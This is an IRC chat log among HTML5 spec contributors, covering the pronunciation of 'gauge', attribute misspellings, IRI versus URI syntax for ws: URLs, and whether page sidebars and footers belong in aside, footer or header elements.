[15:07:01.0000] <Hixie>
it's only in the e-mail about 5

[15:07:02.0000] <Dashiva>
I don't get why anyone would typo gauge, though

[15:07:03.0000] <Dashiva>
Both pronounciations make it clear there's no u after the g

[15:07:04.0000] <TabAtkins>
I try to say guage all the time.  Hixie keeps trying to type gague.

[15:07:05.0000] <Lachy>
Dashiva, how can gauge be pronounced in two ways?

[15:07:06.0000] <TabAtkins>
gahj, or gaej

[15:08:00.0000] <Hixie>
Dashiva: language="" was one of the most-typoed attribute names i found when doing the survey a few years ago

[15:08:01.0000] <TabAtkins>
langugae?

[15:08:02.0000] <Dashiva>
Hixie: No obvious failure

[15:08:03.0000] <jgraham>
/me guesses it can be pronounced in many more ways

[15:08:04.0000] <Dashiva>
jgraham: I had "the right way" and "the wrong way", are there more?

[15:08:05.0000] <Lachy>
if by gaej, you mean that it rhymes with "rage", then that's the correct pronunciation

[15:08:06.0000] <Hixie>
Dashiva: sure, but i'd rather avoid failures at all, even during debugging

[15:09:00.0000] <Dashiva>
Hixie: Better a typo failure than a conceptual failure, wouldn't you say?

[15:09:01.0000] <TabAtkins>
Lachy: Yeah, but I hear it rhyming with lodge sometimes too.

[15:09:02.0000] <Lachy>
wtf?

[15:09:03.0000] <Dashiva>
Isn't that gouge, TabAtkins?

[15:09:04.0000] <TabAtkins>
Because "au" sounding like "ae" doesn't make any sense.

[15:09:05.0000] <Hixie>
Dashiva: the conceptual failure would also be caught at debugging, no?

[15:09:06.0000] <Lachy>
what's the native language of people who pronounce it like that? It can't be english

[15:09:07.0000] <Philip`>
http://philip.html5.org/data/attr-count-total.txt - "96 langauge"

[15:09:08.0000] <TabAtkins>
Definitely English.  ^_^

[15:09:09.0000] <Philip`>
Doesn't seem very common there

[15:10:00.0000] <Hixie>
Philip`: it's a long tail thing

[15:10:01.0000] <Hixie>
Philip`: lots and lots and lots of misspellings of various kinds

[15:10:02.0000] <TabAtkins>
"au" is *supposed* to sound like "ah" or "ow".

[15:10:03.0000] <Hixie>
Philip`: all individually rare

[15:10:04.0000] <Dashiva>
Hixie: Only incorrect inclusion, not incorrect exclusion

[15:10:05.0000] <Dashiva>
If people skip using the element because they think it doesn't apply, it won't show up

[15:10:06.0000] <Lachy>
we can't worry about mispellings too much for elements that have a noticable effect if you get it wrong.

[15:11:00.0000] <Hixie>
languaje="" was one of the most common attributes on <script>, e.g.

[15:11:01.0000] <Dashiva>
And besides, <metre> will be there, I guarantee it

[15:11:02.0000] <TabAtkins>
Dashiva: No, 'gouge' sounds different entirely.

[15:11:03.0000] <AryehGregor>
 <Lachy> Hixie, Irony Level: <meter class="irony" min=0 max=1000 low=0 high=100 optimum=50>999%</meter> <-- That would work out to a value of 9.99 out of 1000, wouldn't it?

[15:11:04.0000] <TabAtkins>
...languaje?  Seriously?

[15:11:05.0000] <Hixie>
Dashiva: one possible typo is better than however many <gague> has :-)

[15:11:06.0000] <Hixie>
<gauge>!

[15:11:07.0000] <Hixie>
gah!

[15:12:00.0000] <Hixie>
Philip`'s data also has 15 langage

[15:12:01.0000] <Lachy>
AryehGregor, I probably needed to include a value="999" attribute

[15:12:02.0000] <Hixie>
13 languague

[15:12:03.0000] <Hixie>
10 lanugage

[15:12:04.0000] <Dashiva>
Hixie: A typo is a typo, but a confusing name is forever

[15:12:05.0000] <AryehGregor>
Lachy, or do min=0 max=10 high=1 optimum=0.5

[15:12:06.0000] <annevk3>
Hixie, there's no such thing as an IRI scheme

[15:12:07.0000] <Hixie>
Dashiva: people learn concepts, they don't get over hard-to-type names

[15:13:00.0000] <TabAtkins>
Dashiva: I totally don't think <meter> is confusing.

[15:13:01.0000] <annevk3>
Hixie, IRI is a syntax, URI is the thing

[15:13:02.0000] <Hixie>
annevk3: so julian told me

[15:13:03.0000] <Hixie>
annevk3: but he wants me to give the URI syntax

[15:13:04.0000] <annevk3>
Hixie, and he's right

[15:13:05.0000] <AryehGregor>
People spell "gauge" as "gague" because it really sounds like it should be spelled "gage", so "gag" comes out and then the "u" finds its way in later.  Or something.

[15:13:06.0000] <Hixie>
annevk3: which seems to be incompatible with the idea of IRI having a syntax

[15:13:07.0000] <annevk3>
Hixie, no

[15:13:08.0000] <Hixie>
annevk3: so where do i say that if you use ws: IRIs, you can't give a fragment identifier?

[15:13:09.0000] <annevk3>
Hixie, somewhat wrong, but close enough: IRI is like HTML and URI is like the DOM

[15:14:00.0000] <AryehGregor>
It's definitely pronounced to rhyme with "rage", not "lodge".  The latter is just wrong.

[15:14:01.0000] <Hixie>
annevk3: no, both URI and IRI define syntax

[15:14:02.0000] <Dashiva>
What about the people who pronounce it gawdje?

[15:14:03.0000] <Hixie>
annevk3: so if i'm to define the URI syntax subset for ws:, where do I define the IRI syntax subset?

[15:14:04.0000] <Dashiva>
That's not too far from lodge

[15:14:05.0000] <AryehGregor>
"XauXe" is pretty rare in English.  I can't immediately think of another example.

[15:14:06.0000] <TabAtkins>
AryehGregor: "wrong" doesn't mean much.  ^_^

[15:14:07.0000] <AryehGregor>
Dashiva, definitely wrong.

[15:14:08.0000] <AryehGregor>
TabAtkins, "nonstandard" if you like.

[15:14:09.0000] <Dashiva>
"wrong"

[15:15:00.0000] <annevk3>
Hixie, all URIs are IRIs so you do not need to do that

[15:15:01.0000] <AryehGregor>
Disagrees with every dictionary I've checked.

[15:15:02.0000] <Hixie>
(i used to say gawje. now i say gayje.)

[15:15:03.0000] <TabAtkins>
Dashiva: I think we're hitting minimal-pair errors.  In my accent the 'gawdje' and 'lodge' have the same vowel.

[15:15:04.0000] <AryehGregor>
Mine too, I think.

[15:15:05.0000] <Dashiva>
Well, most people don't check the dictionary when they see a new word

[15:15:06.0000] <Hixie>
annevk3: what?

[15:15:07.0000] <Dashiva>
They guess and go on until corrected

[15:15:08.0000] <annevk3>
Hixie, I guess you're right about my analogy being flawed, can't really come up with something better

[15:15:09.0000] <AryehGregor>
No, but the people who are confident in how to pronounce "gauge" will think "ha, this person is an ignoramus who doesn't know how to pronounce 'gauge'" if they hear you say "godge".

[15:15:10.0000] <Dashiva>
Now, assume you're in a place where nobody else knows how to pronounce it either

[15:16:00.0000] <Dashiva>
It proliferates fast

[15:16:01.0000] <AryehGregor>
So practically speaking, it's useful to stick to the standard educated pronunciation.

[15:16:02.0000] <annevk3>
Hixie, the parse URL already takes care of IRI -> URI

[15:16:03.0000] <Hixie>
annevk3: i want ws://example.com/©/ to be a valid ws: IRI

[15:16:04.0000] <Hixie>
annevk3: and i want ws://example.com/©/#test not to be

[15:16:05.0000] <TabAtkins>
AryehGregor: No?  Generally, both sides will think the other one is wrong.  It's only if one of them consults a dictionary that it matters.  And I'll bet that the average English-speaker has *never* consulted a dictionary for the pronunciation of 'gauge'.

[15:16:06.0000] <Hixie>
annevk: if i say the syntax of ws: URIs is "hier-part query?", then how is the former valid?

[15:16:07.0000] <Dashiva>
AryehGregor: Besides, anything you say is moot until you guys decide on one pronounciation for tomato

[15:17:00.0000] <annevk3>
Hixie, after conversion it's valid

[15:17:01.0000] <AryehGregor>
TabAtkins, the nonstandard side will usually either a) not be as sure, or b) accept the other pronunciation as legitimate.  The standard pronunciation is always at least common, even when it's not ubiquitous.

[15:17:02.0000] <Hixie>
annevk3: i want it to be valid before conversion.

[15:17:03.0000] <AryehGregor>
/me $ grep 'au..\?e$' /usr/share/dict/american-english

[15:18:00.0000] <Hixie>
annevk3: and i want the frag-id case to be invalid before conversion

[15:18:01.0000] <Hixie>
annevk3: or are you saying that IRIs can't be syntax-checked without converting them to UR

[15:18:02.0000] <Hixie>
Is?

[15:18:03.0000] <AryehGregor>
"applause", "because", "cause", "clause", "gauze", "mauve", "pause", "sauce".  I think "gauge" is sui generis here, yep.

[15:18:04.0000] <annevk3>
Hixie, I think so, but now I'm no longer sure whether I'm right :/

[15:18:05.0000] <TabAtkins>
AryehGregor, you have a bad conception of how people learn language.  They stick with what they heard first, only changing with difficulty.  I can assure that most of the people rhyming with "rage" did *not* develop their pronunciation by consulating a dictionary.

[15:19:00.0000] <Hixie>
i hate the uri/iri BS

[15:19:01.0000] <Hixie>
the whole space is a big giant mess

[15:19:02.0000] <annevk3>
Hixie, no disagreement there

[15:19:03.0000] <AryehGregor>
TabAtkins, no, they developed it by hearing other people speak.  And a large percentage of people who use words like "gauge" in ordinary conversation will be using the standard pronunciation.

[15:19:04.0000] <Hixie>
they should scrap all those specs and do a proper job with built-in i18n, no ASCII nonsense, and defining error handling, etc.

[15:19:05.0000] <Dashiva>
Errors don't exist on the internet, silly Hixie

[15:20:00.0000] <AryehGregor>
Hixie, are there any application-level Internet standards other than HTML 5 that you think are done right?

[15:20:01.0000] <Hixie>
CSS does a reasonable job

[15:20:02.0000] <TabAtkins>
AryehGregor, large percentage != overwhelming percentage.  The fact that I still hear it rhyming with 'lodge' plenty attests to that.

[15:20:03.0000] <Hixie>
Unicode is pretty good

[15:20:04.0000] <othermaciej>
according to timbl, even the original term "URL" came from the IETF's desire to rename his original term (UDI)

[15:20:05.0000] <Hixie>
XForms is pretty good

[15:20:06.0000] <annevk3>
of course everything around Unicode is pretty bad

[15:20:07.0000] <Dashiva>
I found out the other day that CSS doesn't place any restrictions on the length of a real number

[15:21:00.0000] <annevk3>
Dashiva, that's a feature

[15:21:01.0000] <Hixie>
SVG Tiny 1.2 is pretty good

[15:21:02.0000] <Hixie>
(XForms and SVG have their own issues, but we're just talking spec-wise here)

[15:21:03.0000] <Dashiva>
annevk3: A feature that leads to getting three different results from four browsers

[15:21:04.0000] <AryehGregor>
TabAtkins, thus everyone who's sure about pronunciation will accept "gage" as a valid pronunciation.  Those who have checked in a dictionary, or heard it only from more reliably standard speakers, will not accept "godge" as a valid pronunciation.  Thus you may as well use the standard one.

[15:21:05.0000] <AryehGregor>
FWIW, I've never heard anyone pronounce "gauge" as anything but "gage".

[15:22:00.0000] <Hixie>
(e.g. XForms failed hard at being relevant for the Web, and SVG is an overly-complex language and 1.2 introduces too many new features)

[15:22:01.0000] <Dashiva>
I've heard godge many times

[15:22:02.0000] <Hixie>
(but they are both written reasonably well, compared to the rest of the space)

[15:22:03.0000] <AryehGregor>
Anyway, it does matter what people think of your pronunciation if you're being interviewed for a job, etc.  Not a completely trivial thing, in life.

[15:22:04.0000] <Dashiva>
If you say gauge during an interview, they might just think you're pretentious too

[15:23:00.0000] <AryehGregor>
In some jobs, that's a plus!

[15:23:01.0000] <TabAtkins>
AryehGregor: Then you're clearly in an abnormal area of the english-speaking world.  ^_^  Again: dictionaries are *not* consulted in general.  There is a sense of learning from people you perceive to be more 'correct', but that's half sawdust and lies anyway.

[15:23:02.0000] <AryehGregor>
(says the Ph.D. student)

[15:23:03.0000] <Hixie>
XHR is another good spec

[15:23:04.0000] <Dashiva>
Busted

[15:23:05.0000] <Hixie>
CORS, too

[15:23:06.0000] <AryehGregor>
TabAtkins, what's perceived to be "correct" is totally arbitrary, for sure.  But it's worthwhile to go with it anyway, all things being equal.  (Which sometimes they're not.)

[15:24:00.0000] <annevk3>
Dashiva, that's nothing, most features have six different results in four browsers

[15:24:01.0000] <annevk3>
cheers Hixie

[15:24:02.0000] <annevk3>
I kind of like HTML5 too

[15:24:03.0000] <Dashiva>
AryehGregor: You still haven't addressed the cases where there are multiple "correct" alternatives

[15:24:04.0000] <annevk3>
:p

[15:24:05.0000] <Hixie>
annevk3: :-P

[15:24:06.0000] <Lachy>
AryehGregor, the core of JF's argument was that decisions were being made on IRC.  You should have defeated his argument by pointing out that no decisions were in fact made in the IRC disucssion he complained about.

[15:24:07.0000] <AryehGregor>
Dashiva, then use whichever you feel like.  Why is that a problem?

[15:25:00.0000] <Dashiva>
Because some people will contest the correctness of some of them

[15:25:01.0000] <Hixie>
i think a big part of hte problem i that a lot of people writing specs started when the internet was basically a small community project, mostly military and academia

[15:25:02.0000] <Lachy>
(I almost responded, but decided not to as it wouldn't have been too constructive)

[15:25:03.0000] <TabAtkins>
AryehGregor: Not if you think it's wrong, which 'gauge'='rage' clearly is.  ^_^  Your search through the dictionary for other uses of that vowel pair showed that it's a crazy outlier, and should be corrected in common use to increase consistency.

[15:25:04.0000] <Hixie>
or they learnt abotu specs from people who were already in that mindset

[15:25:05.0000] <AryehGregor>
Lachy, well, decisions like "that's unlikely to be added to HTML 5" occur here pretty regularly, which effectively halt changes that might otherwise have been pursued.

[15:25:06.0000] <AryehGregor>
I don't think it's a problem even if some decisions are made here.

[15:26:00.0000] <AryehGregor>
Dashiva, so life isn't perfect.  Pick the least controversial or give up and don't care.

[15:26:01.0000] <Lachy>
which decisions like that are you referring to?

[15:26:02.0000] <AryehGregor>
Lachy, like that guy who came in here yesterday asking that <textarea> be rolled into <input>.

[15:27:00.0000] <AryehGregor>
We basically shot him down here.  That's a decision of sorts, although it resulted in no change to the spec.

[15:27:01.0000] <Lachy>
that wasn't just decided yesterday. It was just explained to him why it wouldn't work

[15:27:02.0000] <AryehGregor>
TabAtkins, "correct" pronunciation signals your level of education and socioeconomic status, basically.  It shows that you're the kind of person who actually does things like look stuff up in dictionaries if you're unsure.  Take it or leave it.

[15:28:00.0000] <AryehGregor>
Lachy, sure.  But it stopped the proposal from going forward.  If you accept the premise that IRC is non-public, then it would have been more transparent if the reasons why his proposal wouldn't work were posted publicly on a mailing list.

[15:29:00.0000] <Lachy>
I don't accept the premise that IRC is non-public

[15:29:01.0000] <AryehGregor>
Nor do I, and that's what my post said.

[15:29:02.0000] <TabAtkins>
Indeed, but you're talking to a Texan who was raised with a healthy does of 'ghetto' pronunciation as well.  My casual speech is already halfway-retarded to the sort of person who consults the dictionary for pronunciation.

[15:29:03.0000] <Lachy>
he didn't raise his issue on the mailing list, why should we bother everyone else with a response to an issue that wasn't even raised there and was easily explained to the guy that raised it where he raised it

[15:29:04.0000] <AryehGregor>
I think some decisions *are* made here.  Not as important as the ones made on the mailing list, but some.  Which is why I didn't make the point as you suggested.

[15:30:00.0000] <AryehGregor>
TabAtkins, while you're talking to a New York Jew who's a Ph.D. student, who was brought up in a house where dictionaries/encyclopedias/atlases/globes/etc. were and are routinely consulted during family meals to resolve arguments.  Different perspectives, I guess.  :)

[15:30:01.0000] <Lachy>
AryehGregor, the specific discussion he linked to, relating to the section/article/content element discussion, absolutely made no decisions

[15:31:00.0000] <AryehGregor>
Lachy, but others did, IMO.  Or if not decisions, then at least things that should be public if we want a transparent spec development process.  But they are public, since they're on IRC, so that's okay.

[15:31:01.0000] <Lachy>
anyway, doesn't matter. Best to just ignore the complaint anyway

[15:34:00.0000] <virtuelv>
/me responds to the fakepath thread

[15:42:00.0000] <cardona507>
the spec says "MOST elements that are categorized as phrasing content can only contain elements that are themselves categorized as phrasing content, not any flow content." - What phrasing content elements can contain flow content?

[15:44:00.0000] <TabAtkins>
Is <a> a phrasing content element?

[15:44:01.0000] <TabAtkins>
If so, that one.

[16:29:00.0000] <annevk3>
Hixie, I just read some more of that thread and if Addison Phillips is right, and that seems more likely than me being right, I was wrong above about there not being such a thing as an IRI scheme

[16:31:00.0000] <Lachy>
TabAtkins, I'm really struggling to understand your arguments. They just don't seem rational and it's not at all clear what you're arguing for

[16:32:00.0000] <Lachy>
(re the header/footer/sidebar discussion)

[16:32:01.0000] <TabAtkins>
Lachy: one sec, in a call at work

[16:32:02.0000] <Hixie>
annevk3: well fwiw, i'm struggling to understand any of that thread

[16:33:00.0000] <Hixie>
annevk3: i just wish people (especially julian) would stop whining about what the rules are and just say wtf they would like the spec to say to satisfy them

[16:33:01.0000] <annevk3>
Hixie, yeah, he's not always very constructive :/

[16:36:00.0000] <TabAtkins>
Lachy: My point is that trying to draw semantic distinctions between header/footer/aside (used as website structure) doesn't do any good.  If you can put some item in one of those locations, it's almost guaranteed to be attested in the other two across the web as well.

[16:37:00.0000] <TabAtkins>
So, semantically, header/footer/aside as *website structure* are very nearly the same (header being a slight exception, as it nearly always contains the site header).

[16:37:01.0000] <TabAtkins>
header/footer/aside used in an article carry very real and distinctly different meanings, of course.  These are currently expressed in the spec.

[16:37:02.0000] <Lachy>
and as I tried to point out on the list, you're placing too much significance on the content alone, and ignoring the structural and contextual meanings conveyed by each

[16:38:00.0000] <TabAtkins>
What's the structural and contextual meaning of a blogroll being placed in the header as opposed to the footer or aside?

[16:38:01.0000] <Lachy>
when is a blog roll ever placed in a header?

[16:39:00.0000] <Lachy>
it's not introductory content, it doesn't belong there

[16:39:01.0000] <TabAtkins>
It's often not, because of (purely visual) size considerations.  If you would like, just consider it in a sidebar or footer.  What's th difference?

[16:39:02.0000] <Lachy>
it's not just visual consideration. It's structural and semantic

[16:39:03.0000] <TabAtkins>
Okay, look at, frex, http://www.igofigure.com.

[16:39:04.0000] <TabAtkins>
The heading area contains 6 distinct things.

[16:40:00.0000] <TabAtkins>
One of those is definitely appropriate for <header> (the site heading).  One is possibly best in header (the main nav).  The other four could be put anywhere equally well.

[16:40:01.0000] <TabAtkins>
Those four are placed in the heading area for purely visual reasons.

[16:41:00.0000] <cardona507>
is this worded correctly? "The value must be a short free-form string that giving the name of the Web application that the page represents. "

[16:42:00.0000] <TabAtkins>
cardona507: remove the "that" from "string that giving".

[16:42:01.0000] <cardona507>
its from the spec

[16:42:02.0000] <TabAtkins>
Then it's a spec bug.  ^_^

[16:43:00.0000] <Hixie>
file it using the bug filing widget please :-)

[16:44:00.0000] <cardona507>
its also in the W3C spec

[16:45:00.0000] <Hixie>
it's the same document

[16:46:00.0000] <cardona507>
for some reason I felt like the whatwg was "fresher" :)

[16:46:01.0000] <Hixie>
it is :-)

[16:46:02.0000] <Hixie>
i edit the whatwg one live

[16:46:03.0000] <Hixie>
then when i'm done with an editor, i run a script that commits it to svn and uploads it to the w3c with the w3c header on it

[16:47:00.0000] <Hixie>
er, done with an edit, rather

[16:47:01.0000] <Lachy>
TabAtkins, I'm not disagreeing that their is partial overlap in the kinds of content that could potentially be included in each. But by placing, e.g., the language/country selector in the header, the designers intended for it to be part of the introductory content so it is among the first things encountered in the site.

[16:47:02.0000] <Hixie>
(and then every few months the w3c make a snapshot of the document to copy to the /tr/ page)

[16:47:03.0000] <TabAtkins>
I'm the designer, btw.  ^_^

[16:47:04.0000] <Lachy>
While it could technically be placed in the sidebar or footer, placing it structurally near the beginning has a clear purpose

[16:47:05.0000] <Hixie>
(though i can't for the life of me work out why!)

[16:48:00.0000] <TabAtkins>
And it's placed in the heading area because the sidebar is already full enough, and putting more stuff in it would push down things that I want to be visible on pageload.

[16:49:00.0000] <TabAtkins>
There was no intention that it was introductory content.  That blue bar up top is treated, for all intents and purposes, as an <aside> to me.

[16:50:00.0000] <TabAtkins>
And, given appropriate support from CSS, that totally *would* be an <aside>, placed somewhere else in the document.

[16:50:01.0000] <Lachy>
TabAtkins, why do you think it's most common for sites that include country/language selectors near the top of the page, rather than sticking them in sidebars or footers?

[16:50:02.0000] <TabAtkins>
Because you want to ensure it's seen on pageload, without taking up valuable sidebar inches.

[16:50:03.0000] <Lachy>
clearly, there has to be more than a purely asthetics reason for it

[16:50:04.0000] <TabAtkins>
It's a practical concern.

[16:51:00.0000] <cardona507>
hixie - is the bug filing widget the little arrow at the bottom right of the screen?

[16:51:01.0000] <cardona507>
on the spec that is

[16:51:02.0000] <Lachy>
right, a practical concern greatly affected by the chosen structure

[16:51:03.0000] <Hixie>
cardona507: yes

[16:52:00.0000] <TabAtkins>
It is, however, entirely tangential to the page itself, and certainly isn't introductory content.

[16:52:01.0000] <cardona507>
limited characters in the bug report widget?

[16:52:02.0000] <TabAtkins>
Lachy: It's only affected by the chosen structure because page layout is so impoverished on the web.

[16:53:00.0000] <Hixie>
cardona507: i don't think so

[16:54:00.0000] <TabAtkins>
Hixie: iirc, there's a limit.  I was lucky that my last bug was *exactly* long enough to fit.  One or two characters more would have done it in.

[16:55:00.0000] <Hixie>
huh

[16:55:01.0000] <Hixie>
/me checks

[16:55:02.0000] <cardona507>
255 characters

[16:55:03.0000] <Lachy>
TabAtkins, personally, I probabaly wouldn't include that witin the header element itself anyway, but it would certainly near the top, either before or immeidately after the <header>

[16:55:04.0000] <Hixie>
huh, i wonder why i have a maxlength

[16:56:00.0000] <Hixie>
i've removed the maxlength

[16:56:01.0000] <Lachy>
I likely wouldn't include the <nav> within the <header>, but that doesn't matter so much

[16:56:02.0000] <TabAtkins>
Indeed, somewhere near the top.  You want it exposed early on, even if it's not part of the page header.  Hell, you may even want it as an <aside> appearing right in the beginning of the page stream.

[16:56:03.0000] <TabAtkins>
Lachy: Yeah, again, that's due to layout concerns.

[16:57:00.0000] <TabAtkins>
Given something appropriately powerful like Template Layout, the structure would be a goodly bit different.

[16:57:01.0000] <TabAtkins>
/me notes that that's the major reason he joined the CSSWG - so he can ensure that things like layout are driven properly.

[16:58:00.0000] <Lachy>
no, it's because I'd want it near the beginning, irrelevant of the design. It could just as easily be positioned at the bottom of the page with CSS

[16:58:01.0000] <TabAtkins>
Yo, Maciej.

[16:58:02.0000] <othermaciej>
hello!

[16:59:00.0000] <cardona507>
*bug filed 

[16:59:01.0000] <TabAtkins>
Lachy: Ideally, I'd probably do something like <aside #lang-selector /><header /><nav #main-nav /><article /><lots of navs and asides>

[16:59:02.0000] <Lachy>
TabAtkins, for the same reason a lot of developers include the navigation structually after the main content, but style it to be at the top

[16:59:03.0000] <Lachy>
sure, that would be a reasonable approach


2009-09-05
[17:02:00.0000] <TabAtkins>
Yeah, but for now a lot of those are going to be put in <header> because they're put at the top.  And changing <aside> to <sidebar> will make this worse, of course, as no one wants to code something called <sidebar> that's positioned at the top of the screen.

[17:03:00.0000] <TabAtkins>
And similarly, things will be put in <footer> that may semantically be <aside>, because they're at the bottom.

[17:04:00.0000] <TabAtkins>
So trying to treat them as having different types of contents won't work in practice.

[17:04:01.0000] <Lachy>
what, now I'm really confused. Weren't you previously arguing that using <aside> for page sidebars wasn't great because of the name, and now you're arguing that <sidebar> isn't great either?

[17:05:00.0000] <TabAtkins>
Heh, no, but I can see your confusion, since Hixie convinced me mid-thread that <aside> was appropriate for sidebar content.  ^_^

[17:05:01.0000] <Lachy>
dammit, how many times do I have to repeat myself? Stop placing so much emphasis on their content alone. It's irrelevant that there is overlap between the kinds of content they can contain.

[17:06:00.0000] <TabAtkins>
I'm not sure how to tell what the semantics of something is apart from checking what its children are.

[17:06:01.0000] <Hixie>
html4 used to spawn all kinds of permathreads about what it said, much like people arguing about what the bible means

[17:06:02.0000] <Lachy>
they are structurally different and they are used in different places for different purposes

[17:07:00.0000] <Hixie>
html5 on the other hand is spawning all kinds of permathreads about whether what it says is right or not

[17:07:01.0000] <Hixie>
i think this is a win!

[17:07:02.0000] <Hixie>
not quite the win i was looking for though

[17:08:00.0000] <TabAtkins>
They are 'structurally' different only in the sense that they are placed in visually distinct areas on the screen.  That doesn't convey semantics.  "Before the main content" is the only half-significant difference, because headings are put there, plus things that the page author for whatever reason want to be seen immediately (even if they're tangential to the content itself).

[17:09:00.0000] <Lachy>
the visual position is irrelevant to this discussion

[17:10:00.0000] <TabAtkins>
I don't understand what structural difference you're alluding to, then, if it's not visual position.

[17:10:01.0000] <Lachy>
I give up. I really don't know  how I can make it any clearer for you.

[17:10:02.0000] <TabAtkins>
I swear to you Lachy, I'm trying to understand.  ^_^  I just have no clue what difference you're trying to convey yet.

[17:11:00.0000] <Hixie>
can i help?

[17:11:01.0000] <Hixie>
i've been mostly ignoring your discussion so far

[17:11:02.0000] <TabAtkins>
Okay, let's get a concrete example.  What's the difference, in any sense you wish to use, between a blogroll placed in an <aside> and one placed in a <footer>?

[17:14:00.0000] <Lachy>
I wouldn't place a blogroll in the footer

[17:14:01.0000] <TabAtkins>
But people do, and will.  So are they conveying a difference?

[17:15:00.0000] <Hixie>
do you have an example of a blog roll in a footer?

[17:15:01.0000] <TabAtkins>
If you want to say that *theoretically* the elements are semantically distinct, I'm fine with that.  I'm talking about page-structure-in-practice.

[17:15:02.0000] <TabAtkins>
Hixie: Hmm, I'd have to go track one down.

[17:15:03.0000] <Hixie>
just curious

[17:16:00.0000] <TabAtkins>
http://www.catalyststudios.co.uk/

[17:16:01.0000] <TabAtkins>
http://www.problogdesign.com/resources/40-creative-blog-footer-designs/    <-- fat footers in general, with all kinds of content

[17:16:02.0000] <Lachy>
from the first one:

[17:16:03.0000] <Lachy>
   <div id="footer">

[17:16:04.0000] <Lachy>
    <p id="copyright">All original content is copyright &copy; 1998 - 2009 Catalyst Studios</p>  

[17:16:05.0000] <Lachy>
   </div>

[17:17:00.0000] <Lachy>
No blogroll in the footer. It's actually in the <div id=tertiary> before it

[17:18:00.0000] <Lachy>
from the second:

[17:18:01.0000] <Lachy>
<div id="footer">

[17:18:02.0000] <Lachy>
 <p>Copyright &copy; 2007 - 2009 Michael Martin, Pro Blog Design. Icons by <a href="http://wefunction.com/" rel="nofollow" target="_blank">Function</a>.</p>

[17:18:03.0000] <Lachy>
<!-- /footer -->

[17:18:04.0000] <Lachy>
</div>

[17:18:05.0000] <Lachy>
<!-- /content -->

[17:18:06.0000] <TabAtkins>
the entire bottom is placed in a <div #tertiary>.  In general, that's going to be a <footer>

[17:18:07.0000] <Lachy>
</div>

[17:18:08.0000] <Lachy>
<div id="sidebar">

[17:18:09.0000] <Lachy>
...

[17:19:00.0000] <TabAtkins>
Check the comment at the end of the <div #tertiary> as well.

[17:19:01.0000] <TabAtkins>
</div> <!-- end footer div -->

[17:20:00.0000] <TabAtkins>
It's a footer div.  That sort of thing will receive a <footer> in practice.

[17:20:01.0000] <Lachy>
So? The element used for the actual footer indicated by id="footer" is what would use the <footer> element. Not the #tertiary one

[17:21:00.0000] <TabAtkins>
Except that they *called* <div #tertiary> their "footer div".

[17:21:01.0000] <Hixie>
either could be used for the footer

[17:21:02.0000] <Lachy>
you're basing that on what appears to be a misplaced comment in the source

[17:21:03.0000] <Hixie>
both would be right

[17:21:04.0000] <TabAtkins>
They're using two distinct notions of the word "footer" here, obviously.

[17:22:00.0000] <TabAtkins>
Lachy: They didn't comment *any* of the children of <div #tertiary>.  They only comment the overall site structure, because the </div>s are far from the opening <div>s.  The comment is correctly placed.

[17:23:00.0000] <TabAtkins>
Hixie: Yeah, I'm sure <footer> would be just fine for their copyright statement.  But it will *also* be used to contain far more than that.

[17:23:01.0000] <Hixie>
sure

[17:23:02.0000] <Hixie>
that's fine

[17:24:00.0000] <Hixie>
as specced now you could do the above as   <footer> <section> ... blog roll ... </section> <section> ... copyright ... </section> </footer>

[17:24:01.0000] <Hixie>
and each would be an "appendix" section rather than a "chapter" section

[17:24:02.0000] <TabAtkins>
Yeah, I know it is.  My point, though, is that the sort of content it will contain will be effectively identical to the sort of content that <aside> will contain in the wild, and so the two elements can't be distinguished when used as site structure except through their visual placement.

[17:26:00.0000] <TabAtkins>
Lachy's maintaining a difference beyond that which I can't discern.

[17:26:01.0000] <Hixie>
TabAtkins: the only difference is that "footer" is in flow, and "aside" is out of flow.

[17:27:00.0000] <TabAtkins>
So, are you asserting that there's a semantic difference between a blogroll put in <aside> and one put in <footer>?

[17:27:01.0000] <Hixie>
a blog roll is a blog roll

[17:27:02.0000] <TabAtkins>
I understand that, within an <article> or similar, there *is* such a difference.

[17:28:00.0000] <Hixie>
the only difference would be that one would be considered part of the main flow of the content, whereas the other would be considered an out-of-flow sidebar.

[17:28:01.0000] <Hixie>
consider a book

[17:28:02.0000] <Hixie>
<footer> is the back matter

[17:28:03.0000] <TabAtkins>
I completely agree within the context of a book, or an article, or similar.

[17:28:04.0000] <Hixie>
<side> is one of those sections that is styled differently that comes in between chapters or in the middle of chapters.

[17:28:05.0000] <Hixie>
so if the blogroll is an appendix, you'd use <footer><nav> or <footer><section>

[17:28:06.0000] <Hixie>
if the blogroll is to be styled as a sidebar, you'd use <aside>.

[17:29:00.0000] <Hixie>
if you can find a good way to say all this in the spec, file a bug so i can add it, btw

[17:29:01.0000] <TabAtkins>
I'm challenging the assertion that authors will, in practice, intend a distinction between blogrolls put in the sidebar and blogrolls put in the footer.

[17:29:02.0000] <Hixie>
i have no doubt that many will not

[17:29:03.0000] <TabAtkins>
Because in that context, they're page structure - nothing more than layout.

[17:29:04.0000] <Hixie>
but then authors can't tell the difference between <em>, <i>, <strong>, and <b>, either

[17:30:00.0000] <Hixie>
and i think that putting a blog roll in <aside> vs <footer> is far less of a problem than confusing those four

[17:30:01.0000] <TabAtkins>
I agree.  ^_^

[17:33:00.0000] <annevk3>
/me is still in the hsivonen camp of making <em> and <i> synonyms

[17:33:01.0000] <TabAtkins>
But <em> was created as a reaction *against* <i>'s misuse (well, sorta I guess).  <footer>, on the other hand, was created *because of* class="footer"'s use.  If your intent is to replace class=footer with <footer>, but you draw a distinction that excludes content commonly put in class="footer", you're just fooling yourself.

[17:33:02.0000] <annevk3>
(and same for <strong> and <b>)

[17:33:03.0000] <annevk3>
(maybe obsoleting <strong> and <em>; is that controversial?)

[17:33:04.0000] <TabAtkins>
annevk3: (I'm sure you'd get plenty of complaints.  ^_^)

[17:33:05.0000] <da3d>
/me likes to pretend <strong> doesn't exist

[17:33:06.0000] <Hixie>
<em> and <i> were created at the same time

[17:34:00.0000] <Hixie>
TabAtkins: i don't think the spec draws such a distinction

[17:34:01.0000] <TabAtkins>
Dang, seriously?  The semantic camp has lied to me!

[17:34:02.0000] <TabAtkins>
Hixie: Lachy is.  You did, in saying that there's an "in flow"/"out of flow" distinction.

[17:34:03.0000] <Hixie>
TabAtkins: the inflow/outflow distinction doesn't exclude anything

[17:35:00.0000] <Hixie>
TabAtkins: it just says what the expected styling will be

[17:35:01.0000] <TabAtkins>
So it's just a synonym for "displayed on the side" vs "displayed at the bottom"?

[17:35:02.0000] <annevk3>
Hixie, that's a weak argument (if any), but no worries, I don't really care :)

[17:35:03.0000] <Hixie>
